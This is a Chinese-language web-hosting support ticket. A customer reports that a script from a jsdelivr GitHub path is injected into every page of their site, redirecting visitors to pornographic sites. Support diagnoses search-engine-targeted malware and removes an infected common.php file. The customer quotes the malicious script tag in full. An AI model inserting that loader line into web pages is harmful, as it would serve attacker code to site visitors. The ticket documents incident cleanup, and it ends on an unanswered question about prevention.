问： lanbovalve.com 、www.lbzls.com,帮忙查下一下，这2个域名还有没有什么问题
答：您好，
问：<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/naidongli/post/jquery.js"></script>127.0.0.1 这个ip
答：您好，请提供下具体的哪个页面，以便我们进一步检查。
非常感谢您长期对我司的支持!
问：http://www.yuzhen520.com//ajax/lang 这个页面。http://www.yuzhen520.com//ajax/lang1 这个是我们自己新建的一个方法，和上面是一样的代码，可是现实的内容不一样，上面的多了一个js代码，下面这个及时正常的
答：您好，这个js非我司添加，
查看您后面这个也是添加了的。这个需要检查下您的服务器了，是不是您服务器有什么程序自动添加的或者是网站是不是被黑导致。
非常感谢您长期对我司的支持!
问：这个不是我们添加，是自动添加的，代码里面是没有的？请问这个怎么清除呢
答：您好，请提供下服务器的远程登录信息，以便我们进一步检查。
非常感谢您长期对我司的支持!
问：访问其他页面 正常，就是ajax/lang加载这个语言包出现。程序全局扫描了，没有找到上述的js代码
问：这个服务器下的所有站点走这样，不可能所有网站同时被入侵吧？
问：服务器问题吗？我远程查看代码，跳转到色情网站上了
答：您好，这个是您的网站被针对搜索引擎挂马了，需要您检查下整站代码。
若需要我司为您排查清理，请提交【主机租用/vps、云主机】–【站点设置】–【网站挂马/中毒/非法信息/垃圾文件清理(单个站点)】类型工单。会有费用。
非常感谢您长期对我司的支持!
问：我有2次金牌服务，是免费的吗
问：这个是服务器吧，这个服务器下面所有站点走这样
答：您好，
服务标准：https://www.west.cn/services/server/vip_vps.asp ，使用金牌服务收费100元
请您选择主机租用vps、云主机 — 站点设置 — 网站挂马/中毒/非法信息/垃圾文件清理（单个站点）分类提交工单
但核实解析到127.0.0.1 服务器无金牌服务次数,非常感谢您长期对我司的支持!
问：服务器被入侵
问：帮忙看下是什么问题？
问：每个页面 都有 <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/naidongli/post/jquery.js"></script> 这个，实际文件代码里是没有，是不是被劫持了
答：您好，
/www/www/lc_itpel_com/application/common.php被挂马，已帮您删除，现在模拟百度蜘蛛访问显示正常。建议您最好开启该站点的访问日志，再次出现被挂马，通过日志分析文件修改时间点的异常访问记录，排查后门木马。
您可以提供该站点的ftp帐号，我司通过工具帮您扫描下是否能检测出后门木马，非常感谢您长期对我司的支持！
问：怎么预防再次出现这个情况呢
答：您好，
